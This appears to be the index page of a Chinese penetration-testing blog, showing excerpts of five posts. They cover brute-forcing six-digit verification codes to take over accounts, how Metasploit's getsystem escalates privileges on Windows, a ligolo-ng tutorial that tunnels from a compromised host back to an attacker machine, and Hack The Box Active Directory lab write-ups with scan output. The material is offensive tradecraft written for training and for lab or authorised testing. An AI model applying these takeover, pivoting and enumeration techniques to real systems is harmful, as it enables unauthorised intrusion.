验证码100%爆破接管任意用户攻击思路和数学分析

问题背景 起因是前段几个月有个渗透项目,对面web的后台没有验证码错误次数的校验,可以反复尝试,最终我不断获取验证码,利用FFUF天生的高并发速度直接搞到了一个账户的验证码,最终撕开web后台,进一步挖掘了后台的漏洞。当时很顺利,不超过两个小时就进入对面的web后台系统了。 我由此好奇,到底是这类攻击受到什么影响,这类攻击的成功率又如何?在现实成功的概率有多大?我们可以转化成一个数学背景,然后进行建模分析。 建模分析 6 位纯数字验证码(000000-999999,共 1,000,000 种可能)。 验证码 完全随机,每次获取都会变化。 有效期:5 分钟(可调整)。 爆破速度:1000 次/秒。 目标是计算 在不同时间窗口内的破解成功率,并探索 如果缩短验证码有效期而不影响 5 小时内的破解成功率。 数学分析 我的大学数学计算能力已经还给数学老师了,这里就偷个懒,问问GPT,看看O3的思维链的结论: 这个它公式的结论: 这是deepseek的计算结果: 题外插曲 没想到居然是100%,不过这倒是和我早年的SRC挖掘的实践情况一致,实际上,我几年前利用这类逻辑漏洞基本上能在2个小时直接就接管这类用户。如果运气够好,甚至第一次攻击即可接管。 插一句题外故事,今年年前还有刚入门的新人在我面前吹嘘自己SRC,说自己SRC排名很高,一问是挖的什么漏洞,还说TOP10的SQL注入、XSS,我内心都直想笑。不过想来没必要揭穿人家,毕竟给新人保留一点颜面,等到他们被毒打了才知道不容易。 据我所知,BAT、主流大厂收的SRC漏洞,基本上都是逻辑漏洞为主,RCE、SQL这类漏洞早10年或许可能有?现在”新人“再找这类基本就是痴人说梦,倒是听说过有些使用小0day交SRC,也就赚个零花钱;之余SRC百万赏金,怕不是得黑客技术修炼到”化神期“,修炼10年起步的老妖怪,或是大陆的天才才能到达的层次了。 更进一步 回到我们原题,既然和验证码有效期无关,我们就更关注速率来判断成功率了,并不是什么系统都能跑到1000个并发每秒的,让AI帮我们推导一下: 这个是deepseek的答案: 这个是gork3的答案: 看起来至少有两个错了,或者都错了,大模型的幻觉依然严重,到2025年依然不擅长解答复杂数学题,或者说任何稍微复杂的问题就不懂装懂了。不是数学专业,我也无法判定到底谁对错,算是简要分析了一下之前的攻击思路在数学逻辑的可能性。 总结 这类攻击方法也就对大集团、高并发的业务场景有用。更具体来说,根据我这几年经验,一般也就出现在JAVA、GO、RUST这种默认跑的飞快的web上,基本上2000个并发起步,甚至上万,倒是不用太关心概率问题,基本上就是100%,碰上IIS、PHP这种慢的和乌龟一样的,基本不用考虑, 这些的并发维持在一两百都是烧高香了。

May 3, 2025 · 1 min · Theme PaperMod

深入理解MSF之Getsystem

本文首发于先知社区 : https://xz.aliyun.com/news/12747 在渗透测试中,我们输入getsystem命令轻松就获得了一个system权限的shell,本文将解析幕后发生的工作流程和原理,了解了这些之后我们将以更加灵活的方式实现权限提升定制出我们需要的工具,并且更好的规避安全监测,在正式阅读之前,让我们简单学习一下几个概念辅助我们理解源码中的内容。 认识Windows访问控制模型 Window的访问控制模型如此复杂,以至于完全理解Windows权限是非常困难的,不过我们可以从宏观上做一个简单的理解: 当windows完成了身份认证(例如开启输入密码、rdp登录、匿名登录等等)会生成一份主的访问令牌(access token) 我们所有通过用户启动的进程都会有一份此访问令牌的副本,默认情况下,当进程的线程与安全对象(几乎所有的windows对象都是安全对象:文件、进程、服务等等)交互时,系统会使用主令牌 进程的线程可以模拟客户端帐户,模拟允许线程使用客户端的Access Token与安全对象交互,拿到的令牌称之为模拟令牌。 模拟客户端的线程同时具有主令牌和模拟令牌 你可能好奇Access Token到底是什么,我们可以简单理解为一个windows内核对象,里面包含着各种信息: 用户标识符(User Identifier):通常是一个唯一的账户安全标识符(SID),用于识别用户账户。 组标识符(Group Identifiers):用户所属的一组或多组的SIDs,它反映了用户在不同的组中的成员资格。 权限(Privileges):一个或多个权限,指明了线程所能执行的特定系统级操作(例如关机、改变系统时间、模拟客户端权限等)。 所有者(Owner):该令牌指定的默认所有者SID。在创建对象时,通常会被用作对象的所有者。 访问控制列表(DACL):指定哪些用户或组可以对对象执行何种操作。 登录会话(Logon Session):一个标识符,指关联到此访问令牌的登录会话。 这些信息在c++里面都有对应的数据结构类型,我们要操控获取Access Token的信息是非常容易的,举一个简单的例子,下面是微软官方文档用户标识的TOKEN_USER结构: typedef struct _TOKEN_USER { SID_AND_ATTRIBUTES User; } TOKEN_USER, *PTOKEN_USER; SID_AND_ATTRIBUTES类型的User里面包含着sid typedef struct _SID_AND_ATTRIBUTES { #if ... PISID Sid; #else PSID Sid; #endif DWORD Attributes; } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; 实现获取当下进程的用户的sid信息,同理其他信息也是一样的: // token.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <Windows.h> #include <processthreadsapi.h> #include <sddl.h> int main() { HANDLE hToken = NULL; BOOL bSuccess = FALSE; DWORD dwSize = 0; PTOKEN_USER pTokenUser = NULL; LPWSTR szSID = NULL; using namespace std; bSuccess = OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); if (!bSuccess) { return 1; } // 获取令牌信息所需的大小 GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize); pTokenUser = (PTOKEN_USER)malloc(dwSize); // 获取访问令牌的用户信息 if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) { // 将SID转换成字符串形式 if (ConvertSidToStringSid(pTokenUser->User.Sid, &szSID)) { // 标准输出SID字符串 wcout << "User SID: \n" << szSID << endl; LocalFree(szSID); } } // 清理 if (hToken) CloseHandle(hToken); if (pTokenUser) free(pTokenUser); } 更简单的获取方法是直接输入whoami /all获取当下所有有关的信息,第一行就是用户名和SID: ...

April 3, 2025 · 6 min · Theme PaperMod

Ligolo-ng快速入门教程

ligolo-ng是最近很多人推荐,部分APT组织也在使用的VPN隧道代理工具,非常适用于OSCP考试或者红队演练。我注意到网上的教材和官方的文档都比较迷惑,也没说清楚怎么用,自己摸索出来了我自己认为最好的使用方法,就几分钟写一下,分享一下。(THE BEST! MY WAY IS THE BEST, HAAA!) 下载地址 官方下载地址:https://github.com/Nicocha30/ligolo-ng 编译好的有两种,一种是agent,是要放在我们攻陷的机器上的。另外一种是proxy,要放在我的本身的kali机器上,下好这两个。 简单原理 原理图如下,本身kali攻击会虚拟出一个网卡出来,然后再通过HTTP转发过去。我们虽然没有独立的ip地址,但是却像是再对面机器的内网一样,可以轻松访问其他机器。(嗯,说实话,隧道的网络我感觉不是很稳定,但是它主页的Performance表现很强) 建议如果要执行流量大的信息收集,比方说bloodhand那种,还是上传到机器A上执行,直接从本机收集DC的流量太大可能隧道就崩了,就很难受了。 实际搭建 在我们的kali机器上用root用户执行: ./proxy -selfcert 现在不管这个,在受害机器上执行: agent.exe -ignore-cert -connect 192.168.45.180:11601 等待一会就来了,选择 session 使用自动路由 autoroute 注意进入这个界面,然后使用键盘的上下控制上下,选中不是左右键盘,是空格。 回车,创建一个新的: y开启隧道转发: 搞定之后就能ping通内网了,延迟只能说卡的很,1000ms这难受了 意外情况 如果隧道崩了,就得老老实实删掉网卡,再执行一次。 ip address 找到这个工具创建的,再删掉它,避免后续路由冲突。 ip link delete suitableaioli 结论 本文应该讲的够清楚了,用来完成OSCP考试足够了。但是要是拿来打攻防ligolo-ng本身还需要进一步修改本身的流量特征,还有要解决本地攻击+VPS+受害机器的网络环境这类操作,后面有空研究一下再写吧。距离OSCP考试还有几天,说实话还是有些紧张,它NANA的,我不想找密码了,烦死了,找密码两个小时,渗透5分钟,这题目真的抽象。

April 3, 2025 · 1 min · Theme PaperMod

域靶场合集Write up HTB(下)

继续打几个找一下手感,感觉还不错,补充工具链和找一下手感差不多了。 Active 信息收集,Windows Server 2008 R2 SP1 (Domain: active.htb, Site: Default-First-Site-Name): ┌──(root㉿kali)-[/home/kali/Desktop] └─# nmap -v -sV -sC --top-ports 3000 --max-retries 0 10.10.10.100 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 22:01 EDT NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 22:01 Completed NSE at 22:01, 0.00s elapsed Initiating NSE at 22:01 Completed NSE at 22:01, 0.00s elapsed Initiating NSE at 22:01 Completed NSE at 22:01, 0.00s elapsed Initiating Ping Scan at 22:01 Scanning 10.10.10.100 [4 ports] Completed Ping Scan at 22:01, 0.36s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:01 Completed Parallel DNS resolution of 1 host. at 22:01, 0.01s elapsed Initiating SYN Stealth Scan at 22:01 Scanning 10.10.10.100 [3000 ports] Discovered open port 139/tcp on 10.10.10.100 Discovered open port 135/tcp on 10.10.10.100 Discovered open port 53/tcp on 10.10.10.100 Discovered open port 445/tcp on 10.10.10.100 Warning: 10.10.10.100 giving up on port because retransmission cap hit (0). Discovered open port 49157/tcp on 10.10.10.100 Discovered open port 464/tcp on 10.10.10.100 Discovered open port 49155/tcp on 10.10.10.100 Discovered open port 49152/tcp on 10.10.10.100 Discovered open port 49168/tcp on 10.10.10.100 Discovered open port 49154/tcp on 10.10.10.100 Discovered open port 49158/tcp on 10.10.10.100 Discovered open port 49165/tcp on 10.10.10.100 Discovered open port 389/tcp on 10.10.10.100 Discovered open port 49153/tcp on 10.10.10.100 Discovered open port 636/tcp on 10.10.10.100 Completed SYN Stealth Scan at 22:01, 11.80s elapsed (3000 total ports) Initiating Service scan at 22:01 Scanning 15 services on 10.10.10.100 Stats: 0:00:25 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 40.00% done; ETC: 22:02 (0:00:21 remaining) Stats: 0:01:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 53.33% done; ETC: 22:03 (0:00:51 remaining) Completed Service scan at 22:02, 64.86s elapsed (15 services on 1 host) NSE: Script scanning 10.10.10.100. Initiating NSE at 22:02 Completed NSE at 22:03, 11.02s elapsed Initiating NSE at 22:03 Stats: 0:01:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE: Active NSE Script Threads: 3 (3 waiting) NSE Timing: About 97.50% done; ETC: 22:03 (0:00:00 remaining) Stats: 0:01:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE: Active NSE Script Threads: 3 (3 waiting) NSE Timing: About 97.50% done; ETC: 22:03 (0:00:00 remaining) Completed NSE at 22:03, 3.83s elapsed Initiating NSE at 22:03 Completed NSE at 22:03, 0.00s elapsed Nmap scan report for 10.10.10.100 Host is up (0.18s latency). Not shown: 1730 closed tcp ports (reset), 1255 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open tcpwrapped 636/tcp open tcpwrapped 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49165/tcp open msrpc Microsoft Windows RPC 49168/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-09-30T01:51:48 |_ start_date: 2024-09-30T01:34:22 |_clock-skew: -11m09s | smb2-security-mode: | 2:1:0: |_ Message signing enabled and required NSE: Script Post-scanning. Initiating NSE at 22:03 Completed NSE at 22:03, 0.00s elapsed Initiating NSE at 22:03 Completed NSE at 22:03, 0.00s elapsed Initiating NSE at 22:03 Completed NSE at 22:03, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 92.22 seconds Raw packets sent: 3006 (132.240KB) | Rcvd: 2556 (102.320KB) crackmapexec smb 10.10.10.100 -u '' -p '' --shares 观察到Replication这个目录可以匿名读取: ...

December 18, 2024 · 14 min · Theme PaperMod

域靶场合集Write up HTB(上)

最近感到渗透水平的生疏,为了强化我的渗透水平和对漏洞的熟悉程度,现在抽空打一下域相关的靶机,强化回忆起相关的知识并且从中学习新的知识,增加渗透水平和经验,为后面考试做准备。(靶场就不发先知了,先知传图片太难受了,非常不方便) Forest 靶机 ldap匿名访问,可以直接查询域内相关信息: root㉿kali)-[/home/kali/Desktop] └─# nmap -v --script ldap-rootdse 10.10.10.161 -T5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 09:12 EDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 09:12 Completed NSE at 09:12, 0.00s elapsed Initiating Ping Scan at 09:12 Scanning 10.10.10.161 [4 ports] Completed Ping Scan at 09:12, 0.18s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 09:12 Completed Parallel DNS resolution of 1 host. at 09:12, 0.01s elapsed Initiating SYN Stealth Scan at 09:12 Scanning 10.10.10.161 (10.10.10.161) [1000 ports] Discovered open port 53/tcp on 10.10.10.161 Discovered open port 445/tcp on 10.10.10.161 Discovered open port 139/tcp on 10.10.10.161 Discovered open port 135/tcp on 10.10.10.161 Discovered open port 593/tcp on 10.10.10.161 Discovered open port 3268/tcp on 10.10.10.161 Discovered open port 636/tcp on 10.10.10.161 Discovered open port 88/tcp on 10.10.10.161 Discovered open port 464/tcp on 10.10.10.161 Discovered open port 3269/tcp on 10.10.10.161 Warning: 10.10.10.161 giving up on port because retransmission cap hit (2). Discovered open port 389/tcp on 10.10.10.161 Completed SYN Stealth Scan at 09:12, 5.50s elapsed (1000 total ports) NSE: Script scanning 10.10.10.161. Initiating NSE at 09:12 Completed NSE at 09:12, 0.75s elapsed Nmap scan report for 10.10.10.161 (10.10.10.161) Host is up (0.20s latency). Not shown: 989 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap | ldap-rootdse: | LDAP Results | <ROOT> | currentTime: 20240910130839.0Z | subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local | dsServiceName: CN=NTDS Settings,CN=FOREST,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local | namingContexts: DC=htb,DC=local | namingContexts: CN=Configuration,DC=htb,DC=local | namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local | namingContexts: DC=DomainDnsZones,DC=htb,DC=local | namingContexts: DC=ForestDnsZones,DC=htb,DC=local | defaultNamingContext: DC=htb,DC=local | schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local | configurationNamingContext: CN=Configuration,DC=htb,DC=local | rootDomainNamingContext: DC=htb,DC=local | supportedControl: 1.2.840.113556.1.4.319 | supportedControl: 1.2.840.113556.1.4.801 | supportedControl: 1.2.840.113556.1.4.473 | supportedControl: 1.2.840.113556.1.4.528 | supportedControl: 1.2.840.113556.1.4.417 | supportedControl: 1.2.840.113556.1.4.619 | supportedControl: 1.2.840.113556.1.4.841 | supportedControl: 1.2.840.113556.1.4.529 | supportedControl: 1.2.840.113556.1.4.805 | supportedControl: 1.2.840.113556.1.4.521 | supportedControl: 1.2.840.113556.1.4.970 | supportedControl: 1.2.840.113556.1.4.1338 | supportedControl: 1.2.840.113556.1.4.474 | supportedControl: 1.2.840.113556.1.4.1339 | supportedControl: 1.2.840.113556.1.4.1340 | supportedControl: 1.2.840.113556.1.4.1413 | supportedControl: 2.16.840.1.113730.3.4.9 | supportedControl: 2.16.840.1.113730.3.4.10 | supportedControl: 1.2.840.113556.1.4.1504 | supportedControl: 1.2.840.113556.1.4.1852 | supportedControl: 1.2.840.113556.1.4.802 | supportedControl: 1.2.840.113556.1.4.1907 | supportedControl: 1.2.840.113556.1.4.1948 | supportedControl: 1.2.840.113556.1.4.1974 | supportedControl: 1.2.840.113556.1.4.1341 | supportedControl: 1.2.840.113556.1.4.2026 | supportedControl: 1.2.840.113556.1.4.2064 | supportedControl: 1.2.840.113556.1.4.2065 | supportedControl: 1.2.840.113556.1.4.2066 | supportedControl: 1.2.840.113556.1.4.2090 | supportedControl: 1.2.840.113556.1.4.2205 | supportedControl: 1.2.840.113556.1.4.2204 | supportedControl: 1.2.840.113556.1.4.2206 | supportedControl: 1.2.840.113556.1.4.2211 | supportedControl: 1.2.840.113556.1.4.2239 | supportedControl: 1.2.840.113556.1.4.2255 | supportedControl: 1.2.840.113556.1.4.2256 | supportedControl: 1.2.840.113556.1.4.2309 | supportedLDAPVersion: 3 | supportedLDAPVersion: 2 | supportedLDAPPolicies: MaxPoolThreads | supportedLDAPPolicies: MaxPercentDirSyncRequests | supportedLDAPPolicies: MaxDatagramRecv | supportedLDAPPolicies: MaxReceiveBuffer | supportedLDAPPolicies: InitRecvTimeout | supportedLDAPPolicies: MaxConnections | supportedLDAPPolicies: MaxConnIdleTime | supportedLDAPPolicies: MaxPageSize | supportedLDAPPolicies: MaxBatchReturnMessages | supportedLDAPPolicies: MaxQueryDuration | supportedLDAPPolicies: MaxDirSyncDuration | supportedLDAPPolicies: MaxTempTableSize | supportedLDAPPolicies: MaxResultSetSize | supportedLDAPPolicies: MinResultSets | supportedLDAPPolicies: MaxResultSetsPerConn | supportedLDAPPolicies: MaxNotificationPerConn | supportedLDAPPolicies: MaxValRange | supportedLDAPPolicies: MaxValRangeTransitive | supportedLDAPPolicies: ThreadMemoryLimit | supportedLDAPPolicies: SystemMemoryLimitPercent | highestCommittedUSN: 2479355 | supportedSASLMechanisms: GSSAPI | supportedSASLMechanisms: GSS-SPNEGO | supportedSASLMechanisms: EXTERNAL | supportedSASLMechanisms: DIGEST-MD5 | dnsHostName: FOREST.htb.local | ldapServiceName: htb.local:[email protected] | serverName: CN=FOREST,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local | supportedCapabilities: 1.2.840.113556.1.4.800 | supportedCapabilities: 1.2.840.113556.1.4.1670 | supportedCapabilities: 1.2.840.113556.1.4.1791 | supportedCapabilities: 1.2.840.113556.1.4.1935 | supportedCapabilities: 1.2.840.113556.1.4.2080 | supportedCapabilities: 1.2.840.113556.1.4.2237 | isSynchronized: TRUE | isGlobalCatalogReady: TRUE | domainFunctionality: 7 | forestFunctionality: 7 |_ domainControllerFunctionality: 7 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl Service Info: Host: FOREST; OS: Windows NSE: Script Post-scanning. Initiating NSE at 09:12 Completed NSE at 09:12, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds Raw packets sent: 1362 (59.904KB) | Rcvd: 1311 (52.472KB) ldap导出相关信息: ...

December 18, 2024 · 18 min · Theme PaperMod